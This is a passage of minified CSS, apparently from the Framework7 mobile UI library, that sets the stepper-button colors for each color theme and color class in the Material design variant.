.stepper-fill .stepper-button:after,.md .color-theme-green .stepper-fill .stepper-button:before,.md .color-theme-green .stepper-fill-md .stepper-button-minus:after,.md .color-theme-green .stepper-fill-md .stepper-button-minus:before,.md .color-theme-green .stepper-fill-md .stepper-button-plus:after,.md .color-theme-green .stepper-fill-md .stepper-button-plus:before,.md .color-theme-green .stepper-fill-md .stepper-button:after,.md .color-theme-green .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-blue .stepper-button,.md .color-theme-blue .stepper-button-minus,.md .color-theme-blue .stepper-button-plus{border-color:#2196f3;color:#2196f3}.md .color-theme-blue .stepper-button-minus:after,.md .color-theme-blue .stepper-button-minus:before,.md .color-theme-blue .stepper-button-plus:after,.md .color-theme-blue .stepper-button-plus:before{background:#2196f3}.md .color-theme-blue .stepper-input-wrap,.md .color-theme-blue .stepper-value{border-top-color:#2196f3;border-bottom-color:#2196f3}.md .color-theme-blue .stepper-value{color:#2196f3}.md .color-theme-blue .stepper .stepper-input-wrap input{color:#2196f3}.md .color-theme-blue .stepper-fill .stepper-button,.md .color-theme-blue .stepper-fill .stepper-button-minus,.md .color-theme-blue .stepper-fill .stepper-button-plus,.md .color-theme-blue .stepper-fill-md .stepper-button,.md .color-theme-blue .stepper-fill-md .stepper-button-minus,.md .color-theme-blue .stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff}.md .color-theme-blue .stepper-fill .stepper-button-minus.active-state,.md .color-theme-blue .stepper-fill .stepper-button-plus.active-state,.md .color-theme-blue .stepper-fill .stepper-button.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .color-theme-blue .stepper-fill .stepper-button-minus:after,.md .color-theme-blue .stepper-fill .stepper-button-minus:before,.md .color-theme-blue .stepper-fill .stepper-button-plus:after,.md .color-theme-blue .stepper-fill .stepper-button-plus:before,.md .color-theme-blue .stepper-fill .stepper-button:after,.md .color-theme-blue .stepper-fill .stepper-button:before,.md .color-theme-blue .stepper-fill-md .stepper-button-minus:after,.md .color-theme-blue .stepper-fill-md .stepper-button-minus:before,.md .color-theme-blue .stepper-fill-md .stepper-button-plus:after,.md .color-theme-blue .stepper-fill-md .stepper-button-plus:before,.md .color-theme-blue .stepper-fill-md .stepper-button:after,.md .color-theme-blue .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-pink .stepper-button,.md .color-theme-pink .stepper-button-minus,.md .color-theme-pink .stepper-button-plus{border-color:#e91e63;color:#e91e63}.md .color-theme-pink .stepper-button-minus:after,.md .color-theme-pink .stepper-button-minus:before,.md .color-theme-pink .stepper-button-plus:after,.md .color-theme-pink .stepper-button-plus:before{background:#e91e63}.md .color-theme-pink .stepper-input-wrap,.md .color-theme-pink .stepper-value{border-top-color:#e91e63;border-bottom-color:#e91e63}.md .color-theme-pink .stepper-value{color:#e91e63}.md .color-theme-pink .stepper .stepper-input-wrap input{color:#e91e63}.md .color-theme-pink .stepper-fill .stepper-button,.md .color-theme-pink .stepper-fill .stepper-button-minus,.md .color-theme-pink .stepper-fill .stepper-button-plus,.md .color-theme-pink .stepper-fill-md .stepper-button,.md .color-theme-pink .stepper-fill-md .stepper-button-minus,.md .color-theme-pink .stepper-fill-md .stepper-button-plus{background-color:#e91e63;color:#fff}.md .color-theme-pink .stepper-fill .stepper-button-minus.active-state,.md .color-theme-pink .stepper-fill .stepper-button-plus.active-state,.md .color-theme-pink .stepper-fill .stepper-button.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button.active-state{background:#ca1452}.md .color-theme-pink .stepper-fill .stepper-button-minus:after,.md .color-theme-pink .stepper-fill .stepper-button-minus:before,.md .color-theme-pink .stepper-fill .stepper-button-plus:after,.md .color-theme-pink .stepper-fill .stepper-button-plus:before,.md .color-theme-pink .stepper-fill .stepper-button:after,.md .color-theme-pink .stepper-fill .stepper-button:before,.md .color-theme-pink .stepper-fill-md .stepper-button-minus:after,.md .color-theme-pink .stepper-fill-md .stepper-button-minus:before,.md .color-theme-pink .stepper-fill-md .stepper-button-plus:after,.md .color-theme-pink .stepper-fill-md .stepper-button-plus:before,.md .color-theme-pink .stepper-fill-md .stepper-button:after,.md .color-theme-pink .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-yellow .stepper-button,.md .color-theme-yellow .stepper-button-minus,.md .color-theme-yellow .stepper-button-plus{border-color:#ffeb3b;color:#ffeb3b}.md .color-theme-yellow .stepper-button-minus:after,.md .color-theme-yellow .stepper-button-minus:before,.md .color-theme-yellow .stepper-button-plus:after,.md .color-theme-yellow .stepper-button-plus:before{background:#ffeb3b}.md .color-theme-yellow .stepper-input-wrap,.md .color-theme-yellow .stepper-value{border-top-color:#ffeb3b;border-bottom-color:#ffeb3b}.md .color-theme-yellow .stepper-value{color:#ffeb3b}.md .color-theme-yellow .stepper .stepper-input-wrap input{color:#ffeb3b}.md .color-theme-yellow .stepper-fill .stepper-button,.md .color-theme-yellow .stepper-fill .stepper-button-minus,.md .color-theme-yellow .stepper-fill .stepper-button-plus,.md .color-theme-yellow .stepper-fill-md .stepper-button,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus{background-color:#ffeb3b;color:#fff}.md .color-theme-yellow .stepper-fill .stepper-button-minus.active-state,.md .color-theme-yellow .stepper-fill .stepper-button-plus.active-state,.md .color-theme-yellow .stepper-fill .stepper-button.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button.active-state{background:#ffe712}.md .color-theme-yellow .stepper-fill .stepper-button-minus:after,.md .color-theme-yellow .stepper-fill .stepper-button-minus:before,.md .color-theme-yellow .stepper-fill .stepper-button-plus:after,.md .color-theme-yellow .stepper-fill .stepper-button-plus:before,.md .color-theme-yellow .stepper-fill .stepper-button:after,.md .color-theme-yellow .stepper-fill .stepper-button:before,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:after,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:before,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:after,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:before,.md .color-theme-yellow .stepper-fill-md .stepper-button:after,.md .color-theme-yellow .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-orange .stepper-button,.md .color-theme-orange .stepper-button-minus,.md .color-theme-orange .stepper-button-plus{border-color:#ff9800;color:#ff9800}.md .color-theme-orange .stepper-button-minus:after,.md .color-theme-orange .stepper-button-minus:before,.md .color-theme-orange .stepper-button-plus:after,.md .color-theme-orange .stepper-button-plus:before{background:#ff9800}.md .color-theme-orange .stepper-input-wrap,.md .color-theme-orange .stepper-value{border-top-color:#ff9800;border-bottom-color:#ff9800}.md .color-theme-orange .stepper-value{color:#ff9800}.md .color-theme-orange .stepper .stepper-input-wrap input{color:#ff9800}.md .color-theme-orange .stepper-fill .stepper-button,.md .color-theme-orange .stepper-fill .stepper-button-minus,.md .color-theme-orange .stepper-fill .stepper-button-plus,.md .color-theme-orange .stepper-fill-md .stepper-button,.md .color-theme-orange .stepper-fill-md .stepper-button-minus,.md .color-theme-orange .stepper-fill-md .stepper-button-plus{background-color:#ff9800;color:#fff}.md .color-theme-orange .stepper-fill .stepper-button-minus.active-state,.md .color-theme-orange .stepper-fill .stepper-button-plus.active-state,.md .color-theme-orange .stepper-fill .stepper-button.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button.active-state{background:#d68000}.md .color-theme-orange .stepper-fill .stepper-button-minus:after,.md .color-theme-orange .stepper-fill .stepper-button-minus:before,.md .color-theme-orange .stepper-fill .stepper-button-plus:after,.md .color-theme-orange .stepper-fill .stepper-button-plus:before,.md .color-theme-orange .stepper-fill .stepper-button:after,.md .color-theme-orange .stepper-fill .stepper-button:before,.md .color-theme-orange .stepper-fill-md .stepper-button-minus:after,.md .color-theme-orange .stepper-fill-md .stepper-button-minus:before,.md .color-theme-orange .stepper-fill-md .stepper-button-plus:after,.md .color-theme-orange .stepper-fill-md .stepper-button-plus:before,.md .color-theme-orange .stepper-fill-md .stepper-button:after,.md .color-theme-orange .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-gray .stepper-button,.md .color-theme-gray .stepper-button-minus,.md .color-theme-gray .stepper-button-plus{border-color:#9e9e9e;color:#9e9e9e}.md .color-theme-gray .stepper-button-minus:after,.md .color-theme-gray .stepper-button-minus:before,.md .color-theme-gray .stepper-button-plus:after,.md .color-theme-gray .stepper-button-plus:before{background:#9e9e9e}.md .color-theme-gray .stepper-input-wrap,.md .color-theme-gray .stepper-value{border-top-color:#9e9e9e;border-bottom-color:#9e9e9e}.md .color-theme-gray .stepper-value{color:#9e9e9e}.md .color-theme-gray .stepper .stepper-input-wrap input{color:#9e9e9e}.md .color-theme-gray .stepper-fill .stepper-button,.md .color-theme-gray .stepper-fill .stepper-button-minus,.md .color-theme-gray .stepper-fill .stepper-button-plus,.md .color-theme-gray .stepper-fill-md .stepper-button,.md .color-theme-gray .stepper-fill-md .stepper-button-minus,.md .color-theme-gray .stepper-fill-md .stepper-button-plus{background-color:#9e9e9e;color:#fff}.md .color-theme-gray .stepper-fill .stepper-button-minus.active-state,.md .color-theme-gray .stepper-fill .stepper-button-plus.active-state,.md .color-theme-gray .stepper-fill .stepper-button.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button.active-state{background:#8a8a8a}.md .color-theme-gray .stepper-fill .stepper-button-minus:after,.md .color-theme-gray .stepper-fill .stepper-button-minus:before,.md .color-theme-gray .stepper-fill .stepper-button-plus:after,.md .color-theme-gray .stepper-fill .stepper-button-plus:before,.md .color-theme-gray .stepper-fill .stepper-button:after,.md .color-theme-gray .stepper-fill .stepper-button:before,.md .color-theme-gray .stepper-fill-md .stepper-button-minus:after,.md .color-theme-gray .stepper-fill-md .stepper-button-minus:before,.md .color-theme-gray .stepper-fill-md .stepper-button-plus:after,.md .color-theme-gray .stepper-fill-md .stepper-button-plus:before,.md .color-theme-gray .stepper-fill-md .stepper-button:after,.md .color-theme-gray .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-white .stepper-button,.md .color-theme-white .stepper-button-minus,.md .color-theme-white .stepper-button-plus{border-color:#fff;color:#fff}.md .color-theme-white .stepper-button-minus:after,.md .color-theme-white .stepper-button-minus:before,.md .color-theme-white .stepper-button-plus:after,.md .color-theme-white .stepper-button-plus:before{background:#fff}.md .color-theme-white .stepper-input-wrap,.md .color-theme-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.md .color-theme-white .stepper-value{color:#fff}.md .color-theme-white .stepper .stepper-input-wrap input{color:#fff}.md .color-theme-white .stepper-fill .stepper-button,.md .color-theme-white .stepper-fill .stepper-button-minus,.md .color-theme-white .stepper-fill .stepper-button-plus,.md .color-theme-white .stepper-fill-md .stepper-button,.md .color-theme-white .stepper-fill-md .stepper-button-minus,.md .color-theme-white .stepper-fill-md .stepper-button-plus{background-color:#fff;color:#fff}.md .color-theme-white .stepper-fill .stepper-button-minus.active-state,.md .color-theme-white .stepper-fill .stepper-button-plus.active-state,.md .color-theme-white .stepper-fill .stepper-button.active-state,.md .color-theme-white .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-white .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-white .stepper-fill-md .stepper-button.active-state{background:#ebebeb}.md .color-theme-white .stepper-fill .stepper-button-minus:after,.md .color-theme-white .stepper-fill .stepper-button-minus:before,.md .color-theme-white .stepper-fill .stepper-button-plus:after,.md .color-theme-white .stepper-fill .stepper-button-plus:before,.md .color-theme-white .stepper-fill .stepper-button:after,.md .color-theme-white .stepper-fill .stepper-button:before,.md .color-theme-white .stepper-fill-md .stepper-button-minus:after,.md .color-theme-white .stepper-fill-md .stepper-button-minus:before,.md .color-theme-white .stepper-fill-md .stepper-button-plus:after,.md .color-theme-white .stepper-fill-md .stepper-button-plus:before,.md .color-theme-white .stepper-fill-md .stepper-button:after,.md .color-theme-white .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-black .stepper-button,.md .color-theme-black .stepper-button-minus,.md .color-theme-black .stepper-button-plus{border-color:#000;color:#000}.md .color-theme-black .stepper-button-minus:after,.md .color-theme-black .stepper-button-minus:before,.md .color-theme-black .stepper-button-plus:after,.md .color-theme-black .stepper-button-plus:before{background:#000}.md .color-theme-black .stepper-input-wrap,.md .color-theme-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.md .color-theme-black .stepper-value{color:#000}.md .color-theme-black .stepper .stepper-input-wrap input{color:#000}.md .color-theme-black .stepper-fill .stepper-button,.md .color-theme-black .stepper-fill .stepper-button-minus,.md .color-theme-black .stepper-fill .stepper-button-plus,.md .color-theme-black .stepper-fill-md .stepper-button,.md .color-theme-black .stepper-fill-md .stepper-button-minus,.md .color-theme-black .stepper-fill-md .stepper-button-plus{background-color:#000;color:#fff}.md .color-theme-black .stepper-fill .stepper-button-minus.active-state,.md .color-theme-black .stepper-fill .stepper-button-plus.active-state,.md .color-theme-black .stepper-fill .stepper-button.active-state,.md .color-theme-black .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-black .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-black .stepper-fill-md .stepper-button.active-state{background:#000}.md .color-theme-black .stepper-fill .stepper-button-minus:after,.md .color-theme-black .stepper-fill .stepper-button-minus:before,.md .color-theme-black .stepper-fill .stepper-button-plus:after,.md .color-theme-black .stepper-fill .stepper-button-plus:before,.md .color-theme-black .stepper-fill .stepper-button:after,.md .color-theme-black .stepper-fill .stepper-button:before,.md .color-theme-black .stepper-fill-md .stepper-button-minus:after,.md .color-theme-black .stepper-fill-md .stepper-button-minus:before,.md .color-theme-black .stepper-fill-md .stepper-button-plus:after,.md .color-theme-black .stepper-fill-md .stepper-button-plus:before,.md .color-theme-black .stepper-fill-md .stepper-button:after,.md .color-theme-black .stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-red .stepper-button,.md .stepper.color-red .stepper-button-minus,.md .stepper.color-red .stepper-button-plus{border-color:#f44336;color:#f44336}.md .stepper.color-red .stepper-button-minus:after,.md .stepper.color-red .stepper-button-minus:before,.md .stepper.color-red .stepper-button-plus:after,.md .stepper.color-red .stepper-button-plus:before{background:#f44336}.md .stepper.color-red .stepper-input-wrap,.md .stepper.color-red .stepper-value{border-top-color:#f44336;border-bottom-color:#f44336}.md .stepper.color-red .stepper-value{color:#f44336}.md .stepper.color-red .stepper-input-wrap input{color:#f44336}.md .stepper.color-red.stepper-fill .stepper-button,.md .stepper.color-red.stepper-fill .stepper-button-minus,.md .stepper.color-red.stepper-fill .stepper-button-plus,.md .stepper.color-red.stepper-fill-md .stepper-button,.md .stepper.color-red.stepper-fill-md .stepper-button-minus,.md .stepper.color-red.stepper-fill-md .stepper-button-plus{background-color:#f44336;color:#fff}.md .stepper.color-red.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-red.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-red.stepper-fill .stepper-button.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button.active-state{background:#f21f0f}.md .stepper.color-red.stepper-fill .stepper-button-minus:after,.md .stepper.color-red.stepper-fill .stepper-button-minus:before,.md .stepper.color-red.stepper-fill .stepper-button-plus:after,.md .stepper.color-red.stepper-fill .stepper-button-plus:before,.md .stepper.color-red.stepper-fill .stepper-button:after,.md .stepper.color-red.stepper-fill .stepper-button:before,.md .stepper.color-red.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-red.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-red.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-red.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-red.stepper-fill-md .stepper-button:after,.md .stepper.color-red.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-green .stepper-button,.md .stepper.color-green .stepper-button-minus,.md .stepper.color-green .stepper-button-plus{border-color:#4caf50;color:#4caf50}.md .stepper.color-green .stepper-button-minus:after,.md .stepper.color-green .stepper-button-minus:before,.md .stepper.color-green .stepper-button-plus:after,.md .stepper.color-green .stepper-button-plus:before{background:#4caf50}.md .stepper.color-green .stepper-input-wrap,.md .stepper.color-green .stepper-value{border-top-color:#4caf50;border-bottom-color:#4caf50}.md .stepper.color-green .stepper-value{color:#4caf50}.md .stepper.color-green .stepper-input-wrap input{color:#4caf50}.md .stepper.color-green.stepper-fill .stepper-button,.md .stepper.color-green.stepper-fill .stepper-button-minus,.md .stepper.color-green.stepper-fill .stepper-button-plus,.md .stepper.color-green.stepper-fill-md .stepper-button,.md .stepper.color-green.stepper-fill-md .stepper-button-minus,.md .stepper.color-green.stepper-fill-md .stepper-button-plus{background-color:#4caf50;color:#fff}.md .stepper.color-green.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-green.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-green.stepper-fill .stepper-button.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button.active-state{background:#409343}.md .stepper.color-green.stepper-fill .stepper-button-minus:after,.md .stepper.color-green.stepper-fill .stepper-button-minus:before,.md .stepper.color-green.stepper-fill .stepper-button-plus:after,.md .stepper.color-green.stepper-fill .stepper-button-plus:before,.md .stepper.color-green.stepper-fill .stepper-button:after,.md .stepper.color-green.stepper-fill .stepper-button:before,.md .stepper.color-green.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-green.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-green.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-green.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-green.stepper-fill-md .stepper-button:after,.md .stepper.color-green.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-blue .stepper-button,.md .stepper.color-blue .stepper-button-minus,.md .stepper.color-blue .stepper-button-plus{border-color:#2196f3;color:#2196f3}.md .stepper.color-blue .stepper-button-minus:after,.md .stepper.color-blue .stepper-button-minus:before,.md .stepper.color-blue .stepper-button-plus:after,.md .stepper.color-blue .stepper-button-plus:before{background:#2196f3}.md .stepper.color-blue .stepper-input-wrap,.md .stepper.color-blue .stepper-value{border-top-color:#2196f3;border-bottom-color:#2196f3}.md .stepper.color-blue .stepper-value{color:#2196f3}.md .stepper.color-blue .stepper-input-wrap input{color:#2196f3}.md .stepper.color-blue.stepper-fill .stepper-button,.md .stepper.color-blue.stepper-fill .stepper-button-minus,.md .stepper.color-blue.stepper-fill .stepper-button-plus,.md .stepper.color-blue.stepper-fill-md .stepper-button,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff}.md .stepper.color-blue.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-blue.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-blue.stepper-fill .stepper-button.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .stepper.color-blue.stepper-fill .stepper-button-minus:after,.md .stepper.color-blue.stepper-fill .stepper-button-minus:before,.md .stepper.color-blue.stepper-fill .stepper-button-plus:after,.md .stepper.color-blue.stepper-fill .stepper-button-plus:before,.md .stepper.color-blue.stepper-fill .stepper-button:after,.md .stepper.color-blue.stepper-fill .stepper-button:before,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-blue.stepper-fill-md .stepper-button:after,.md .stepper.color-blue.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-pink .stepper-button,.md .stepper.color-pink .stepper-button-minus,.md .stepper.color-pink .stepper-button-plus{border-color:#e91e63;color:#e91e63}.md .stepper.color-pink .stepper-button-minus:after,.md .stepper.color-pink .stepper-button-minus:before,.md .stepper.color-pink .stepper-button-plus:after,.md .stepper.color-pink .stepper-button-plus:before{background:#e91e63}.md .stepper.color-pink .stepper-input-wrap,.md .stepper.color-pink .stepper-value{border-top-color:#e91e63;border-bottom-color:#e91e63}.md .stepper.color-pink .stepper-value{color:#e91e63}.md .stepper.color-pink .stepper-input-wrap input{color:#e91e63}.md .stepper.color-pink.stepper-fill .stepper-button,.md .stepper.color-pink.stepper-fill .stepper-button-minus,.md .stepper.color-pink.stepper-fill .stepper-button-plus,.md .stepper.color-pink.stepper-fill-md .stepper-button,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus{background-color:#e91e63;color:#fff}.md .stepper.color-pink.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-pink.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-pink.stepper-fill .stepper-button.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button.active-state{background:#ca1452}.md .stepper.color-pink.stepper-fill .stepper-button-minus:after,.md .stepper.color-pink.stepper-fill .stepper-button-minus:before,.md .stepper.color-pink.stepper-fill .stepper-button-plus:after,.md .stepper.color-pink.stepper-fill .stepper-button-plus:before,.md .stepper.color-pink.stepper-fill .stepper-button:after,.md .stepper.color-pink.stepper-fill .stepper-button:before,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-pink.stepper-fill-md .stepper-button:after,.md .stepper.color-pink.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-yellow .stepper-button,.md .stepper.color-yellow .stepper-button-minus,.md .stepper.color-yellow .stepper-button-plus{border-color:#ffeb3b;color:#ffeb3b}.md .stepper.color-yellow .stepper-button-minus:after,.md .stepper.color-yellow .stepper-button-minus:before,.md .stepper.color-yellow .stepper-button-plus:after,.md .stepper.color-yellow .stepper-button-plus:before{background:#ffeb3b}.md .stepper.color-yellow .stepper-input-wrap,.md .stepper.color-yellow .stepper-value{border-top-color:#ffeb3b;border-bottom-color:#ffeb3b}.md .stepper.color-yellow .stepper-value{color:#ffeb3b}.md .stepper.color-yellow .stepper-input-wrap input{color:#ffeb3b}.md .stepper.color-yellow.stepper-fill .stepper-button,.md .stepper.color-yellow.stepper-fill .stepper-button-minus,.md .stepper.color-yellow.stepper-fill .stepper-button-plus,.md .stepper.color-yellow.stepper-fill-md .stepper-button,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus{background-color:#ffeb3b;color:#fff}.md .stepper.color-yellow.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-yellow.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-yellow.stepper-fill .stepper-button.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button.active-state{background:#ffe712}.md .stepper.color-yellow.stepper-fill .stepper-button-minus:after,.md .stepper.color-yellow.stepper-fill .stepper-button-minus:before,.md .stepper.color-yellow.stepper-fill .stepper-button-plus:after,.md .stepper.color-yellow.stepper-fill .stepper-button-plus:before,.md .stepper.color-yellow.stepper-fill .stepper-button:after,.md .stepper.color-yellow.stepper-fill .stepper-button:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-orange .stepper-button,.md .stepper.color-orange .stepper-button-minus,.md .stepper.color-orange .stepper-button-plus{border-color:#ff9800;color:#ff9800}.md .stepper.color-orange .stepper-button-minus:after,.md .stepper.color-orange .stepper-button-minus:before,.md .stepper.color-orange .stepper-button-plus:after,.md .stepper.color-orange .stepper-button-plus:before{background:#ff9800}.md .stepper.color-orange .stepper-input-wrap,.md .stepper.color-orange .stepper-value{border-top-color:#ff9800;border-bottom-color:#ff9800}.md .stepper.color-orange .stepper-value{color:#ff9800}.md .stepper.color-orange .stepper-input-wrap input{color:#ff9800}.md .stepper.color-orange.stepper-fill .stepper-button,.md .stepper.color-orange.stepper-fill .stepper-button-minus,.md .stepper.color-orange.stepper-fill .stepper-button-plus,.md .stepper.color-orange.stepper-fill-md .stepper-button,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus{background-color:#ff9800;color:#fff}.md .stepper.color-orange.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-orange.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-orange.stepper-fill .stepper-button.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button.active-state{background:#d68000}.md .stepper.color-orange.stepper-fill .stepper-button-minus:after,.md .stepper.color-orange.stepper-fill .stepper-button-minus:before,.md .stepper.color-orange.stepper-fill .stepper-button-plus:after,.md .stepper.color-orange.stepper-fill .stepper-button-plus:before,.md .stepper.color-orange.stepper-fill .stepper-button:after,.md .stepper.color-orange.stepper-fill .stepper-button:before,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-orange.stepper-fill-md .stepper-button:after,.md .stepper.color-orange.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-gray .stepper-button,.md .stepper.color-gray .stepper-button-minus,.md .stepper.color-gray .stepper-button-plus{border-color:#9e9e9e;color:#9e9e9e}.md .stepper.color-gray .stepper-button-minus:after,.md .stepper.color-gray .stepper-button-minus:before,.md .stepper.color-gray .stepper-button-plus:after,.md .stepper.color-gray .stepper-button-plus:before{background:#9e9e9e}.md .stepper.color-gray .stepper-input-wrap,.md .stepper.color-gray .stepper-value{border-top-color:#9e9e9e;border-bottom-color:#9e9e9e}.md .stepper.color-gray .stepper-value{color:#9e9e9e}.md .stepper.color-gray .stepper-input-wrap input{color:#9e9e9e}.md .stepper.color-gray.stepper-fill .stepper-button,.md .stepper.color-gray.stepper-fill .stepper-button-minus,.md .stepper.color-gray.stepper-fill .stepper-button-plus,.md .stepper.color-gray.stepper-fill-md .stepper-button,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus{background-color:#9e9e9e;color:#fff}.md .stepper.color-gray.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-gray.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-gray.stepper-fill .stepper-button.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button.active-state{background:#8a8a8a}.md .stepper.color-gray.stepper-fill .stepper-button-minus:after,.md .stepper.color-gray.stepper-fill .stepper-button-minus:before,.md .stepper.color-gray.stepper-fill .stepper-button-plus:after,.md .stepper.color-gray.stepper-fill .stepper-button-plus:before,.md .stepper.color-gray.stepper-fill .stepper-button:after,.md .stepper.color-gray.stepper-fill .stepper-button:before,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-gray.stepper-fill-md .stepper-button:after,.md .stepper.color-gray.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-white .stepper-button,.md .stepper.color-white .stepper-button-minus,.md .stepper.color-white .stepper-button-plus{border-color:#fff;color:#fff}.md .stepper.color-white .stepper-button-minus:after,.md .stepper.color-white .stepper-button-minus:before,.md .stepper.color-white .stepper-button-plus:after,.md .stepper.color-white .stepper-button-plus:before{background:#fff}.md .stepper.color-white .stepper-input-wrap,.md .stepper.color-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.md .stepper.color-white .stepper-value{color:#fff}.md .stepper.color-white .stepper-input-wrap input{color:#fff}.md .stepper.color-white.stepper-fill .stepper-button,.md .stepper.color-white.stepper-fill .stepper-button-minus,.md 